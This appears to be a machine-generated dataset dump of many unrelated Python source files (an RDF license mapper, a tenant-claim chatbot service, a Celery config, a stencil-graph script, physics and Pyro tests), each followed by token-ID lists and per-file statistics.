@register.assignment_tag
@register.assignment_tag
@register.assignment_tag
@register.assignment_tag
| [
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30238... | 3.418919 | 74 |
from .pid import pid | [
6738,
764,
35317,
1330,
46514
] | 4 | 5 |
"""Module for mapping a LicenseDocument to rdf.
This module contains methods for mapping to rdf
according to the modelldcat-ap-no specification._
Refer to sub-class for typical usage examples.
"""
from __future__ import annotations
from typing import List, Optional, Union
from concepttordf import Concept
from datacatalogtordf import URI
from rdflib import Graph, Namespace, RDF, URIRef
from skolemizer import Skolemizer
DCT = Namespace("http://purl.org/dc/terms/")
class LicenseDocument:
"""A class representing a dct:LicenseDocument."""
__slots__ = ("_g", "_identifier", "_type")
_g: Graph
_identifier: URI
_type: List[Union[Concept, URI]]
def __init__(self, identifier: Optional[str] = None) -> None:
"""Inits LicenseDocument object with default values."""
if identifier:
self.identifier = identifier
self._type = []
@property
def type(self: LicenseDocument) -> List[Union[Concept, URI]]:
"""Get for type."""
return self._type
@property
def identifier(self) -> str:
"""Get for identifier."""
return self._identifier
@identifier.setter
def to_rdf(self, format: str = "turtle", encoding: Optional[str] = "utf-8") -> str:
"""Maps the license document to rdf.
Args:
format: a valid format. Default: turtle
encoding: the encoding to serialize into
Returns:
a rdf serialization as a string according to format.
"""
return self._to_graph().serialize(format=format, encoding=encoding)
def _to_graph(self) -> Graph:
"""Returns the license document as graph.
Returns:
the license document graph
"""
self._g = Graph()
self._g.bind("dct", DCT)
if not getattr(self, "identifier", None):
self.identifier = Skolemizer.add_skolemization()
_self = URIRef(self.identifier)
self._g.add((_self, RDF.type, DCT.LicenseDocument))
if getattr(self, "type", None):
for type in self._type:
if isinstance(type, Concept):
_type = URIRef(type.identifier)
for _s, p, o in type._to_graph().triples((None, None, None)):
self._g.add((_type, p, o))
elif isinstance(type, str):
_type = URIRef(type)
self._g.add((_self, DCT.type, _type,))
return self._g
| [
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... | 2.368471 | 1,053 |
"""Webgeocalc decorators."""
from .errors import CalculationInvalidAttr
from .vars import VALID_PARAMETERS
def parameter(_func=None, *, only=None):
"""Parameter decorator setter with a validation check.
Can be used in the following forms:
- @parameter
- @parameter()
- @parameter(only='VALID_PARAMETERS_KEY')
Parameters
----------
func: callable, optional
Setter function.
only: str
Validator parameter key.
Raises
------
AttributeError
If the user try to access the decorated function.
KeyError
If the provided key (in `only`) is not in the ``VALID_PARAMETERS``.
CalculationInvalidAttr
If the provided value is not valid.
Note
----
The decorator is defined as a `setter` only.
The decorated function do not return a value (raises an ``AttributeError``).
"""
def decorator(func):
"""Decorator setter with valid checker."""
def fset(_self, value):
"""Parameter setter."""
if only and value not in VALID_PARAMETERS[only]:
raise CalculationInvalidAttr(
name=only,
attr=value,
valids=VALID_PARAMETERS[only],
)
return func(_self, value)
return property(fset=fset, doc=func.__doc__)
return decorator if _func is None else decorator(_func)
| [
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1420... | 2.389916 | 595 |
import json
from flask import jsonify, abort, make_response
from nlp_service.rasa.intent_threshold import IntentThreshold
from nlp_service.services import fact_service, report_service
from postgresql_db.models import *
from rasa.rasa_classifier import RasaClassifier
from services import ml_service
from services.response_strings import Responses
from nlp_service.app import db
from postgresql_db.models import Conversation, ClaimCategory, Fact
from outlier.outlier_detection import OutlierDetection
# Logging
import logging
import sys
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
log = logging.getLogger(__name__)
# Rasa Classifier - RasaClassifier used for claim category determination and fact value classification.
rasaClassifier = RasaClassifier()
rasaClassifier.train(force_train=False)
# Intent Threshold - Used to determine whether or not Rasa classification was sufficient to determine intent
intentThreshold = IntentThreshold(min_percent_difference=0.0, min_confidence_threshold=0.15)
# Outlier detector - Predicts if the new message is a clear outlier based on a model trained with fact messages
outlier_detector = OutlierDetection()
# The maximum of additional facts to ask before giving a new prediction
MAX_ADDITIONAL_FACTS = 5
def classify_claim_category(conversation_id, message):
"""
Classifies the claim category from the user's message, set the Conversation's claim category
and returns the first question to ask.
:param conversation_id: ID of the Conversation
:param message: Message from the user
:return: JSON containing the next message the user should be given
"""
if conversation_id is None or message is None:
abort(make_response(jsonify(message="Must provide conversation_id and message"), 400))
# Retrieve conversation
conversation = db.session.query(Conversation).get(conversation_id)
# Classify claim category based on message
claim_category = __classify_claim_category(message=message, person_type=conversation.person_type.value)
# Define the message that will be returned
response = None
conversation_progress = None
if claim_category in Responses.static_claim_responses.keys():
response = Responses.faq_statement(claim_category, conversation.person_type.value) \
+ Responses.prompt_reset_flow(conversation.person_type.value, separate_message=True)
elif claim_category:
# Set conversation's claim category
conversation.claim_category = {
'ask_lease_termination': ClaimCategory.LEASE_TERMINATION,
'ask_nonpayment': ClaimCategory.NONPAYMENT,
'ask_retake_rental': ClaimCategory.RETAKE_RENTAL
}[claim_category]
# Get first fact based on claim category
first_fact = fact_service.submit_claim_category(conversation)
first_fact_id = first_fact['fact_id']
if first_fact_id:
# Retrieve the Fact from DB
first_fact = db.session.query(Fact).get(first_fact_id)
# Save first fact as current fact
conversation.current_fact = first_fact
# Set conversation bot state
conversation.bot_state = BotState.RESOLVING_FACTS
# Commit
db.session.commit()
# Generate next message
first_fact_question = Responses.fact_question(first_fact.name)
response = Responses.chooseFrom(Responses.category_acknowledge).format(
claim_category=conversation.claim_category.value.lower().replace("_", " "),
first_question=first_fact_question)
# Calculate the conversation progress
conversation_progress = __calculate_conversation_progress(conversation)
else:
response = Responses.chooseFrom(Responses.category_acknowledge).format(
claim_category=conversation.claim_category.value.lower().replace("_", " "),
first_question=Responses.chooseFrom(Responses.unimplemented_category_error))
else:
response = Responses.chooseFrom(Responses.clarify).format(previous_question="")
return jsonify({
"message": response,
"conversation_progress": conversation_progress
})
def classify_fact_value(conversation_id, message):
"""
Classifies the value of the Conversation's current fact, based on the user's message.
:param conversation_id: ID of the conversation
:param message: Message from the user
:return: JSON containing the next message the user should be given
"""
if conversation_id is None or message is None:
abort(make_response(jsonify(message="Must provide conversation_id and message"), 400))
# Retrieve conversation
conversation = db.session.query(Conversation).get(conversation_id)
# Question to return
question = None
just_acknowledged = False
if conversation.bot_state is BotState.AWAITING_ACKNOWLEDGEMENT:
question, just_acknowledged = __state_awaiting_acknowledgement(conversation, message)
if conversation.bot_state is BotState.RESOLVING_FACTS:
question = __state_resolving_facts(conversation, message)
if conversation.bot_state is BotState.RESOLVING_ADDITIONAL_FACTS:
question = __state_resolving_additional_facts(conversation, message, just_acknowledged)
if conversation.bot_state is BotState.GIVING_PREDICTION:
question = __state_giving_prediction(conversation)
# Commit
db.session.commit()
return jsonify({
"message": question,
"conversation_progress": __calculate_conversation_progress(conversation)
})
def __state_awaiting_acknowledgement(conversation, message):
"""
Bot is waiting for an acknowledgement from the user
:param conversation: The current conversation
:param message: The user's message
:return: Tuple: a question to ask, a flag determining whether or not an acknowledgement has just happened
"""
question = None
just_acknowledged = False
if conversation.bot_state is BotState.AWAITING_ACKNOWLEDGEMENT:
should_continue = __classify_acknowledgement(message)
if should_continue is not None:
if should_continue:
conversation.bot_state = BotState.RESOLVING_ADDITIONAL_FACTS
just_acknowledged = True
else:
conversation.bot_state = BotState.DETERMINE_CLAIM_CATEGORY
question = Responses.prompt_reset_flow(conversation.person_type.value)
else:
question = Responses.chooseFrom(Responses.clarify)
return question, just_acknowledged
def __state_resolving_facts(conversation, message):
"""
Bot is asking the user question to resolve important facts
:param conversation: The current conversation
:param message: The user's message
:return: A question to ask
"""
question = None
# Retrieve current_fact from conversation
current_fact = conversation.current_fact
# Extract entity from message based on current fact
fact_entity_value = __extract_entity(current_fact.name, current_fact.type, message)
if fact_entity_value is not None:
next_fact = fact_service.submit_resolved_fact(conversation, current_fact, fact_entity_value)
new_fact_id = next_fact['fact_id']
if new_fact_id:
new_fact = db.session.query(Fact).get(new_fact_id)
conversation.current_fact = new_fact
if fact_service.has_important_facts(conversation):
# Important facts remain to be asked
question = Responses.fact_question(new_fact.name)
else:
# There are no more important facts! Give a prediction
conversation.bot_state = BotState.GIVING_PREDICTION
else:
question = Responses.chooseFrom(Responses.clarify).format(
previous_question=Responses.fact_question(current_fact.name))
return question
def __state_resolving_additional_facts(conversation, message, just_acknowledged):
"""
Bot is asking the user questions to resolve additional facts
:param conversation: The current conversation
:param message: The user's message
:param just_acknowledged: Whether or not an acknowledgement just happened.
Used to skip fact resolution and instead asks a question immediately.
:return: A question to as
"""
question = None
# Retrieve current_fact from conversation
current_fact = conversation.current_fact
if just_acknowledged:
question = Responses.fact_question(current_fact.name)
else:
# Extract entity from message based on current fact
fact_entity_value = __extract_entity(current_fact.name, current_fact.type, message)
if fact_entity_value is not None:
next_fact = fact_service.submit_resolved_fact(conversation, current_fact, fact_entity_value)
new_fact_id = next_fact['fact_id']
new_fact = None
if new_fact_id:
new_fact = db.session.query(Fact).get(new_fact_id)
conversation.current_fact = new_fact
# Additional facts remain to be asked
if fact_service.has_additional_facts(conversation):
# Additional fact limit reached, time for a new prediction
if fact_service.count_additional_facts_resolved(conversation) % MAX_ADDITIONAL_FACTS == 0:
conversation.bot_state = BotState.GIVING_PREDICTION
else:
question = Responses.fact_question(new_fact.name)
else:
# There are no more additional facts! Give a prediction
conversation.bot_state = BotState.GIVING_PREDICTION
return question
def __state_giving_prediction(conversation):
"""
Bot has been told to give a prediction. If additional questions remain, will set the bot to wait for an acknowledgement.
:param conversation: The current conversation
:return: A prediction given answered facts
"""
question = None
# Submit request to ML service for prediction
ml_response = ml_service.submit_resolved_fact_list(conversation)
# Extract relevant data from the ml response
ml_prediction = ml_service.extract_prediction(
claim_category=conversation.claim_category.value,
ml_response=ml_response
)
similar_precedent_list = ml_response['similar_precedents']
probabilities_dict = ml_response['probabilities_vector']
# Generate a report from the prediction
report_dict = report_service.generate_report(
conversation=conversation,
ml_prediction=ml_prediction,
similar_precedents=similar_precedent_list,
probabilities_dict=probabilities_dict)
conversation.report = json.dumps(report_dict)
# Generate statement for prediction
question = Responses.prediction_statement(
prediction_dict=ml_prediction,
similar_precedent_list=similar_precedent_list)
# If there are additional questions to be asked
if fact_service.has_additional_facts(conversation):
# Set the bot state
conversation.bot_state = BotState.AWAITING_ACKNOWLEDGEMENT
# Append to the question
total_unresolved_additional = fact_service.count_additional_facts_unresolved(conversation)
if total_unresolved_additional >= MAX_ADDITIONAL_FACTS:
additional_question_count = MAX_ADDITIONAL_FACTS
else:
additional_question_count = total_unresolved_additional
question = question + Responses.prompt_additional_questions(additional_question_count)
else:
# Set the bot state
conversation.bot_state = BotState.DETERMINE_CLAIM_CATEGORY
# Append to the question
question = question + Responses.prompt_reset_flow(conversation.person_type.value, separate_message=True)
return question
def __calculate_conversation_progress(conversation):
"""
Calculates the conversation progress for a conversation.
:param conversation: The current conversation
:return: A percentage number that is set to 100% once all important facts are resolved.
Then decreased if additional facts should be answered.
"""
conversation_progress = 0
important_fact_count = len(fact_service.get_category_fact_list(conversation.claim_category.value)["facts"])
resolved_important_fact_count = fact_service.count_important_facts_resolved(conversation)
if conversation.bot_state is BotState.GIVING_PREDICTION or conversation.bot_state is BotState.AWAITING_ACKNOWLEDGEMENT:
conversation_progress = 1
elif conversation.bot_state is BotState.DETERMINE_CLAIM_CATEGORY:
conversation_progress = None
elif conversation.bot_state is BotState.RESOLVING_FACTS:
conversation_progress = resolved_important_fact_count / important_fact_count
elif conversation.bot_state is BotState.RESOLVING_ADDITIONAL_FACTS:
resolved_additional_fact_count = fact_service.count_additional_facts_resolved(conversation)
unresolved_additional_fact_count = fact_service.count_additional_facts_unresolved(conversation)
if unresolved_additional_fact_count >= MAX_ADDITIONAL_FACTS:
additional_facts = MAX_ADDITIONAL_FACTS
else:
additional_facts = unresolved_additional_fact_count
conversation_progress = (resolved_important_fact_count + resolved_additional_fact_count) / \
(important_fact_count + additional_facts)
if conversation_progress is None:
return conversation_progress
else:
return int(conversation_progress * 100)
def __classify_acknowledgement(message):
"""
Classifies an acknowledgement. Can result in a True or False. Uses the additional_fact_acknowledgement data set.
:param message: A user's message
:return: True or False if classification was successful. None if clarification required.
"""
classify_dict = rasaClassifier.classify_acknowledgement(message)
log.debug(
"\nClassify Acknowledgement\n\tMessage: {}\n\tOutput: {}".format(message, classify_dict))
if intentThreshold.is_sufficient(classify_dict):
determined_acknowledgement = classify_dict['intent']['name']
if determined_acknowledgement == "true":
return True
elif determined_acknowledgement == "false":
return False
return None
def __classify_claim_category(message, person_type):
"""
Classifies the claim category based on a message and person type.
:param message: Message from user
:param person_type: User's PersonType AS A STRING. i.e: "TENANT"
:return: Classified claim category key. None if clarification required.
"""
classify_dict = rasaClassifier.classify_problem_category(message, person_type)
log.debug(
"\nClassify Claim Category\n\tPerson Type: {}\n\tMessage: {}\n\tOutput: {}".format(person_type, message,
classify_dict))
# Return the claim category, or None if the answer was insufficient in determining one
if intentThreshold.is_sufficient(classify_dict):
determined_claim_category = classify_dict['intent']
return determined_claim_category['name']
return None
def __extract_entity(current_fact_name, current_fact_type, message):
"""
Extracts the value of a fact, based on the current fact
:param current_fact_name: Which fact we are checking for i.e. is_student
:param current_fact_type: The type of the fact we are checking i.e. FactType.BOOLEAN
:param message: Message given by the user
:return: The determined value for the fact specified. None if clarification required.
"""
# First pass: outlier detection
# TODO: For now, this is disabled while we are gathering data from beta users
if 'OUTLIER_DETECTION' in os.environ:
result = outlier_detector.predict_if_outlier([message.lower()])
if result[0] == -1:
return None
classify_dict = rasaClassifier.classify_fact(current_fact_name, message)
log.debug("\nClassify Fact\n\tMessage: {}\n\tFact Name: {}\n\tOutput: {}".format(message, current_fact_name,
classify_dict))
# Return the fact value, or None if the answer was insufficient in determining one
if intentThreshold.is_sufficient(classify_dict):
extracted_data = fact_service.extract_fact_by_type(current_fact_type, classify_dict['intent'],
classify_dict['entities'])
log.debug("\nEntity Extraction\n\tFact Type: {}\n\tExtraction Result: {}".format(current_fact_type.value,
extracted_data))
return extracted_data
return None
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34431,
62,
15271,
13,
3041... | 2.701235 | 6,316 |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Copyright © Simphony Project Contributors
# Licensed under the terms of the MIT License
# (see simphony/__init__.py for details)
"""
Coming Soon: A tutorial/best-practice-guide on creating your own model library.
"""
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
18,
198,
2,
532,
9,
12,
19617,
25,
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69,
12,
23,
532,
9,
12,
198,
2,
198,
2,
15069,
10673,
3184,
23021,
4935,
25767,
669,
198,
2,
49962,
739,
262,
2846,
286,
262,
17168,
13789,
19... | 3.202381 | 84 |
# main body of the decision tree:
# establish the tree, decision making
import math as mt
modeDict = {
"ID3" : 0,
"C4.5" : 1,
"CART" : 2
}
# definition to nodes on decision trees
# entropy function
# Gini index
# pruning threshold
minSize = 150
# check if the end of recursion is reached
# returns: end signal, majorLabel and globalEntropy
# ID3 and C4.5 only differ on the metric,
# implement CART sepearetely
# answers only for validation, where ifTest == 0
# return validation accuracy and predction | [
2,
1388,
1767,
286,
262,
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25,
220,
198,
2,
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220,
220,
220,
366,
2389,
18,
1,
1058,
657,
11,
198,
220,
220,
220,
... | 3.125749 | 167 |
import requests
from flask import abort
from settings import TASKSERVICE_HOST, TASKSERVICE_PORT, TASKSERVICE_VERSION
base_url = 'http://{0}:{1}/api/{2}/taskservice/'.format(TASKSERVICE_HOST, TASKSERVICE_PORT, TASKSERVICE_VERSION)
@handler
@handler
@handler
@handler
| [
11748,
7007,
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27015,
1137,
27389,
62,
43717,
198,
198,
8692,
62,
6371,
... | 2.541284 | 109 |
#!/usr/bin/env python3
"""
The KernelChainGraph class represents the whole pipelined data flow graph consisting of input nodes (real data input
arrays, kernel nodes and output nodes (storing the result of the computation).
"""
__author__ = "Andreas Kuster (kustera@ethz.ch)"
__copyright__ = "BSD 3-Clause License"
import argparse
import ast
import copy
import functools
import operator
import re
import os
from typing import Any, List, Dict, Tuple
import networkx as nx
import stencilflow
from stencilflow.log_level import LogLevel
from stencilflow.kernel import Kernel
from stencilflow.bounded_queue import BoundedQueue
from stencilflow.input import Input
from stencilflow.output import Output
from stencilflow.simulator import Simulator
if __name__ == "__main__":
"""
simple test stencil program for debugging
usage: python3 kernel_chain_graph.py -stencil_file stencils/simulator12.json -plot -simulate -report -log-level 2
"""
# instantiate the argument parser
parser = argparse.ArgumentParser()
parser.add_argument("-stencil_file")
parser.add_argument("-plot", action="store_true")
parser.add_argument("-log-level",
default=LogLevel.MODERATE.value,
type=int)
parser.add_argument("-report", action="store_true")
parser.add_argument("-simulate", action="store_true")
args = parser.parse_args()
args.log_level = stencilflow.log_level.LogLevel(args.log_level)
program_description = stencilflow.parse_json(args.stencil_file)
# instantiate the KernelChainGraph
chain = KernelChainGraph(path=args.stencil_file,
plot_graph=args.plot,
log_level=LogLevel(args.log_level))
# simulate the design if argument -simulate is true
if args.simulate:
sim = Simulator(program_name=re.match(
"[^\.]+", os.path.basename(args.stencil_file)).group(0),
program_description=program_description,
input_nodes=chain.input_nodes,
kernel_nodes=chain.kernel_nodes,
output_nodes=chain.output_nodes,
dimensions=chain.dimensions,
write_output=False,
log_level=LogLevel(args.log_level))
sim.simulate()
# output a report if argument -report is true
if args.report:
chain.report(args.stencil_file)
if args.simulate:
sim.report()
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
18,
198,
198,
37811,
198,
464,
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357,
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5128,
198,
3258,
592,
11,
9720,
13760,
... | 2.426923 | 1,040 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author: Benjamin Vial
# License: MIT
import pytest
from gyptis import dolfin
from gyptis.phc3d import *
from gyptis.plot import *
dolfin.set_log_level(10)
dolfin.parameters["form_compiler"]["quadrature_degree"] = 5
dolfin.parameters["ghost_mode"] = "shared_facet"
a = 1
v = (a, 0, 0), (0, a, 0), (0, 0, a)
# v = (a,0, 0), (0, a,0), (1.2*a,1.5*a,a*0.7)
# v = (0.21*a,0.24*a,a*0.3), (0.3*a,0.1*a,a*0.1), (0.2*a,0.4*a,a*0.12)
R = 0.25 * a
n_eig = 6
lattice = Lattice3D(v)
sphere = lattice.add_sphere(a / 2, a / 2, a / 2, R)
sphere, cell = lattice.fragment(sphere, lattice.cell)
lattice.add_physical(cell, "background")
lattice.add_physical(sphere, "inclusion")
periodic_id = lattice.get_periodic_bnds()
for k, v in periodic_id.items():
lattice.add_physical(v, k, 2)
lattice.set_size("background", 0.1)
lattice.set_size("inclusion", 0.1)
lattice.build()
#
# a = 1
# v = (a, 0, 0), (0, a, 0), (0, 0, a)
# R = 0.325 * a
# n_eig = 6
#
# lattice = Lattice3D(v)
# cell = lattice.cell
# spheres = []
# i = 0
# for p in lattice.vertices:
# sphere = lattice.add_sphere(*p, R)
# *sphere, cell = lattice.fragment(sphere, cell)
# j = 1 if i == 0 else 0
# lattice.remove(lattice.dimtag(sphere[j]), recursive=1)
# k = 0 if i == 0 else 1
# spheres.append(sphere[k])
# i += 1
#
# face_centers = [
# (0, a / 2, a / 2),
# (a / 2, 0, a / 2),
# (a / 2, a / 2, 0),
# (a, a / 2, a / 2),
# (a / 2, a, a / 2),
# (a / 2, a / 2, a),
# ]
# i = 0
# for p in face_centers[:]:
# sphere = lattice.add_sphere(*p, R)
# *sphere, cell = lattice.fragment(sphere, cell)
# j = 1 if i < 3 else 0
# lattice.remove(lattice.dimtag(sphere[j]), recursive=1)
# k = 0 if i < 3 else 1
# spheres.append(sphere[k])
# i += 1
# # print(spheres)
# lattice.add_physical(spheres, "inclusion")
# lattice.add_physical(cell, "background")
# lattice.build(1, 1, 1, 1, 1, periodic=False)
# lattice.build(1, 0, 0, 0, 0, periodic=False)
#
# periodic_id = lattice.get_periodic_bnds()
#
# for k, v in periodic_id.items():
# lattice.add_physical(v, k, 2)
#
# lattice.set_size("background", 0.1)
# lattice.set_size("inclusion", 0.1)
#
# lattice.build(1)
bcs = {}
for k, v in periodic_id.items():
bcs[k] = "PEC" # Constant((0,0,0))
# pbc = Periodic3D(lattice)
eps_inclusion = 1
epsilon = dict(background=1, inclusion=eps_inclusion)
mu = dict(background=1, inclusion=1)
phc = PhotonicCrystal3D(
lattice,
epsilon,
mu,
propagation_vector=(0, 0, 0),
degree=2,
boundary_conditions=bcs,
)
phc.eigensolve(n_eig=12, wavevector_target=1)
ev_norma = np.array(phc.solution["eigenvalues"]) * a / (np.pi)
ev = np.array(phc.solution["eigenvalues"])
true_eig = (
np.pi
/ a
* np.sort(
np.array(
[
(m ** 2 + n ** 2 + p ** 2) ** 0.5
for m in range(6)
for n in range(6)
for p in range(6)
]
)
)
)
true_eig_norma = true_eig * a / (np.pi)
# print(ev_norma)
# print(true_eig_norma)
print(ev_norma ** 2)
print(true_eig_norma ** 2)
#
# @pytest.mark.parametrize(
# "degree,polarization", [(1, "TM"), (2, "TM"), (1, "TE"), (2, "TE")]
# )
# def test_phc(degree, polarization):
#
# phc = PhotonicCrystal2D(
# lattice,
# epsilon,
# mu,
# propagation_vector=(0.1 * np.pi / a, 0.2 * np.pi / a),
# polarization=polarization,
# degree=degree,
# )
# phc.eigensolve(n_eig=6, wavevector_target=0.1)
# ev_norma = np.array(phc.solution["eigenvalues"]) * a / (2 * np.pi)
# ev_norma = ev_norma[:n_eig].real
#
# eig_vects = phc.solution["eigenvectors"]
# mode, eval = eig_vects[4], ev_norma[4]
# fplot = project(mode.real, phc.formulation.real_function_space)
# dolfin.plot(fplot, cmap="RdBu_r")
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
2,
6434,
25,
14533,
569,
498,
198,
2,
13789,
25,
17168,
198,
198,
11748,
12972,
9288,
198,
198,
6738,
21486,
457,
271... | 1.960061 | 1,978 |
import re
from click import ParamType
from haku.shelf import Filter
from haku.utils import get_editor, get_editor_args
class FilterType(ParamType):
"""Filter option type"""
name = "filter"
class ReType(ParamType):
"""Regex type"""
name = "regex"
class EditorType(ParamType):
"""Editor type"""
name = "editor"
| [
11748,
302,
198,
198,
6738,
3904,
1330,
25139,
6030,
198,
198,
6738,
387,
23063,
13,
7091,
1652,
1330,
25853,
198,
6738,
387,
23063,
13,
26791,
1330,
651,
62,
35352,
11,
651,
62,
35352,
62,
22046,
628,
198,
4871,
25853,
6030,
7,
22973... | 2.940171 | 117 |
# coding=utf-8
from celery.schedules import crontab
__author__ = "Gareth Coles"
broker = "amqp://guest:guest@glowstone-rabbitmq:5672/glowstone"
backend = "redis://glowstone-site-redis:6379/0"
include = [
"ultros_site.tasks.builds",
"ultros_site.tasks.common",
"ultros_site.tasks.discord",
"ultros_site.tasks.email",
"ultros_site.tasks.nodebb",
"ultros_site.tasks.notify",
"ultros_site.tasks.scheduled",
"ultros_site.tasks.twitter"
]
beat_schedule = {
"clean_sessions": {
"task": "scheduled_clean_sessions",
"schedule": crontab(hour=0, minute=0),
"args": ()
},
"clean_users": {
"task": "scheduled_clean_users",
"schedule": crontab(hour=1, minute=0),
"args": ()
},
"clean_tasks": {
"task": "scheduled_clean_tasks",
"schedule": crontab(hour=2, minute=0),
"args": ()
}
}
| [
2,
19617,
28,
40477,
12,
23,
198,
6738,
18725,
1924,
13,
1416,
704,
5028,
1330,
1067,
756,
397,
198,
198,
834,
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834,
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366,
38,
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274,
1,
628,
198,
7957,
6122,
796,
366,
321,
80,
79,
1378,
5162,
395,
25,
5162,
... | 2.026966 | 445 |
# -*- coding: utf-8 -
from iso8601 import parse_date
from datetime import datetime, date, time, timedelta
import dateutil.parser
from pytz import timezone
import os
from decimal import Decimal
import re
TZ = timezone(os.environ['TZ'] if 'TZ' in os.environ else 'Europe/Kiev')
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
198,
198,
6738,
47279,
4521,
486,
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62,
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198,
6738,
4818,
8079,
1330,
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11,
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11,
640,
11,
28805,
12514,
198,
11748,
3128,
22602,
13,
48610,
198,
6738,
... | 2.851852 | 108 |
# Escala de temperatura
from tkinter import *
window = Tk()
"""
hot_imagem=PhotoImage(file="Imagens/hot.png")
hot_Label = Label(image=hot_imagem)
hot_Label.pack()
"""
scale = Scale(window,
from_=100, to=0, # de 100 pra 0
length=300,
#orient=HORIZONTAL, Deixa na horizontal
font=("Arial", 20),
tickinterval=10,
# showvalue=0, Hide scale value
troughcolor="cyan",
fg="black",
bg="white"
)
scale.pack()
"""
cold_imagem=PhotoImage(file="Imagens/cold.png")
cold_Label = Label(image=cold_imagem)
cold_Label.pack()
"""
button = Button(window, text="Submit", command=submit)
button.pack()
window.mainloop()
| [
2,
16319,
6081,
390,
4124,
2541,
64,
198,
6738,
256,
74,
3849,
1330,
1635,
628,
198,
198,
17497,
796,
309,
74,
3419,
198,
198,
37811,
198,
198,
8940,
62,
48466,
368,
28,
6191,
5159,
7,
7753,
2625,
3546,
363,
641,
14,
8940,
13,
111... | 2.024194 | 372 |
import argparse
import ast
from os import environ, path
import cdsapi
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--request", type=str, help="input API request")
parser.add_argument("-o", "--output", type=str, help="output API request")
args = parser.parse_args()
if path.isfile(args.request):
f = open(args.request, "r")
req = f.read()
f.close()
mapped_chars = {
'>': '__gt__',
'<': '__lt__',
"'": '__sq__',
'"': '__dq__',
'[': '__ob__',
']': '__cb__',
'{': '__oc__',
'}': '__cc__',
'@': '__at__',
'#': '__pd__',
"": '__cn__'
}
# Unsanitize labels (element_identifiers are always sanitized by Galaxy)
for key, value in mapped_chars.items():
req = req.replace(value, key)
print("req = ", req)
c3s_type = req.split('c.retrieve')[1].split('(')[1].split(',')[0].strip(' "\'\t\r\n')
c3s_req = '{' + req.split('{')[1].split('}')[0].replace('\n', '') + '}'
c3s_req_dict = ast.literal_eval(c3s_req)
c3s_output = req.split('}')[1].split(',')[1].split(')')[0].strip(' "\'\t\r\n')
f = open(args.output, "w")
f.write("dataset to retrieve: " + c3s_type + "\n")
f.write("request: " + c3s_req + "\n")
f.write("output filename: " + c3s_output)
f.close()
print("start retrieving data...")
cdapi_file = path.join(environ.get('HOME'), '.cdsapirc')
if path.isfile(cdapi_file):
c = cdsapi.Client()
c.retrieve(
c3s_type,
c3s_req_dict,
c3s_output)
print("data retrieval successful")
| [
11748,
1822,
29572,
198,
11748,
6468,
198,
6738,
28686,
1330,
551,
2268,
11,
3108,
198,
198,
11748,
269,
9310,
15042,
198,
198,
48610,
796,
1822,
29572,
13,
28100,
1713,
46677,
3419,
198,
48610,
13,
2860,
62,
49140,
7203,
12,
72,
1600,
... | 2.131868 | 728 |
"""
Q042
Trapping Rain Water
Hard
09/29/2021
:stack:two pointer:array: DP:
Given n non-negative integers representing an elevation map
where the width of each bar is 1, compute how much water it
is able to trap after raining.
"""
from typing import List
a = [4,2,3]
a2 = [0,1,0,2,1,0,1,3,2,1,2,1]
a3 = [3,2,1,3]
sol = Solution()
print(sol.trap(a2))
| [
37811,
198,
48,
3023,
17,
198,
15721,
2105,
10301,
5638,
198,
17309,
198,
2931,
14,
1959,
14,
1238,
2481,
198,
198,
25,
25558,
25,
11545,
17562,
25,
18747,
25,
27704,
25,
198,
198,
15056,
299,
1729,
12,
31591,
37014,
10200,
281,
22910... | 2.44898 | 147 |
import re, subprocess as sub, argparse
import sys
false_neg = re.compile(r'{\+.+\+}')
false_pos = re.compile(r'\[-.+-\]')
double_space = re.compile(' ')
if __name__ == '__main__':
args = get_args()
evaluate(args) | [
11748,
302,
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850,
14681,
355,
850,
11,
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29572,
198,
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25064,
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10,
92,
11537,
198,
9562,
62,
1930,
796,
302,
13,
5589,
576,
7,
81,
6,... | 2.313131 | 99 |
d=int(input())
s=int(input())
print((s-1)*d-sum(map(int,input().split()[:-1])))
| [
67,
28,
600,
7,
15414,
28955,
198,
82,
28,
600,
7,
15414,
28955,
198,
4798,
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7,
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7,
600,
11,
15414,
22446,
35312,
3419,
58,
21912,
16,
60,
22305,
198
] | 2.105263 | 38 |
import logging
from typing import Optional
from pydantic import BaseSettings, validator
| [
11748,
18931,
198,
6738,
19720,
1330,
32233,
198,
198,
6738,
279,
5173,
5109,
1330,
7308,
26232,
11,
4938,
1352,
628,
628,
628,
198
] | 4.130435 | 23 |
from django.apps import AppConfig
| [
6738,
42625,
14208,
13,
18211,
1330,
2034,
16934,
628
] | 3.888889 | 9 |
# Copyright Contributors to the Pyro project.
# SPDX-License-Identifier: Apache-2.0
import logging
import os
import pyroapi
import pytest
import torch
from pyro.infer.autoguide import AutoNormal
from tests.common import assert_equal
# put all funsor-related imports here, so test collection works without funsor
try:
import funsor
import pyro.contrib.funsor
funsor.set_backend("torch")
from pyroapi import distributions as dist
from pyroapi import handlers, infer, pyro
except ImportError:
pytestmark = pytest.mark.skip(reason="funsor is not installed")
logger = logging.getLogger(__name__)
_PYRO_BACKEND = os.environ.get("TEST_ENUM_PYRO_BACKEND", "contrib.funsor")
@pytest.mark.parametrize('length', [1, 2, 10, 100])
@pytest.mark.parametrize('temperature', [0, 1])
@pyroapi.pyro_backend(_PYRO_BACKEND)
@pyroapi.pyro_backend(_PYRO_BACKEND)
@pytest.mark.parametrize("temperature", [0, 1])
@pyroapi.pyro_backend(_PYRO_BACKEND)
@pytest.mark.parametrize("temperature", [0, 1])
@pyroapi.pyro_backend(_PYRO_BACKEND)
@pytest.mark.parametrize("temperature", [0, 1])
@pyroapi.pyro_backend(_PYRO_BACKEND)
@pytest.mark.parametrize("temperature", [0, 1])
@pyroapi.pyro_backend(_PYRO_BACKEND)
@pytest.mark.parametrize("model", [model_zzxx, model2])
@pytest.mark.parametrize("temperature", [0, 1])
@pyroapi.pyro_backend(_PYRO_BACKEND)
@pytest.mark.parametrize("model", [model_zzxx, model2])
@pytest.mark.parametrize("temperature", [0, 1])
@pytest.mark.parametrize('temperature', [0, 1])
@pyroapi.pyro_backend(_PYRO_BACKEND)
| [
2,
15069,
25767,
669,
284,
262,
44954,
1628,
13,
198,
2,
